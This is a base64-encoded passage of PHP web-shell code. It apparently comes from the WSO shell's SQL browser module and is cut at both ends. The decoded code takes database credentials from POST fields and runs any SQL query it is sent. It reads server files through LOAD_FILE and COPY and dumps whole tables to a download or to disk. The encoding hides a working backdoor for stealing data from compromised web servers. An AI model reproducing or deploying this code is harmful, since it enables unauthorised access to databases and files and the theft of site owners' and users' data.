bF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7IA0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOyANCiAgICAgICAgICAgICAgICAgICAgJHI9YXJyYXkoKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRyW10gPSAkaVsnZmlsZSddOyANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHdzbzInKTsgDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsgDQogICAgICAgICAgICAgICAgICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsgDQogICAgICAgICAgICAgICAgICAgICRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOyANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOyANCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PSBudWxsKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgIH07IA0KICAgICRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsgDQogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyANCiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOyANCiAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyANCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7IA0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgDQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsgDQogICAgICAgIH0gDQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgeyANCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsgDQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7IA0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsgDQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpIA0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7IA0KICAgICAgICAgICAgZXhpdDsgDQogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgeyANCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOyANCiAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7IA0KICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOyANCiAgICB9IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICIgDQogIA0KPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IA0KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPiANCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4gDQo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsgDQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsgDQplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwZ3NxbCcgIjsgDQppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOyANCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4gDQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpIC4iJz48L3RkPiANCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPiANCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7IA0KICAgICR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7IA0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpeyANCiAgICAgICAgaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7IA0KICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsgDQogICAgICAgICAgICBlY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOyANCiAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOyANCiAgICAgICAgICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOyANCiAgICAgICAgfSANCiAgICAgICAgZWxzZSBlY2hvICR0bXA7IA0KICAgIH1lbHNlDQogICAgICAgIGVjaG8gJHRtcDsgDQogICAgZWNobyAiPC90ZD4gDQogIA0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+IA0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+IA0KICAgICAgICAgICAgPC90cj4gDQogICAgICAgIDwvdGFibGU+IA0KICAgICAgICA8c2NyaXB0PiANCiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsgDQogICAgICAgICAgICBmdW5jdGlvbiBmcyhmKSB7IA0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307IA0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOyANCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMikgZi5wMi52YWx1ZT0nJzsgDQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZnVuY3Rpb24gc3QodCxsKSB7IA0KICAgICAgICAgICAgICAgIGQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsgDQogICAgICAgICAgICAgICAgZC5zZi5wMi52YWx1ZSA9IHQ7IA0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7IA0KICAgICAgICAgICAgICAgIGQuc2Yuc3VibWl0KCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgeyANCiAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKSANCiAgICAgICAgICAgICAgICAgICAgZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsgDQogICAgICAgICAgICB9IA0KICAgICAgICA8L3NjcmlwdD4iOyANCiAgICBpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7IA0KICAgICAgICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOyANCiAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsgDQogICAgICAgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyANCiAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsgDQogICAgICAgICAgICAgICAgJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7IA0KICAgICAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOyANCiAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsgDQogICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0JykgeyANCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsgDQogICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOyANCiAgICAgICAgICAgICAgICAgICAgJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7IA0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7IA0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7IA0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNlOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHRpdGxlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRoPicuJGtleS4nPC90aD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzZXQoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPjx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAkbGluZT09MT8yOjE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2YWx1ZSA9PSBudWxsKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsgDQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsgDQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOyANCiAgICAgICAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOyANCiAg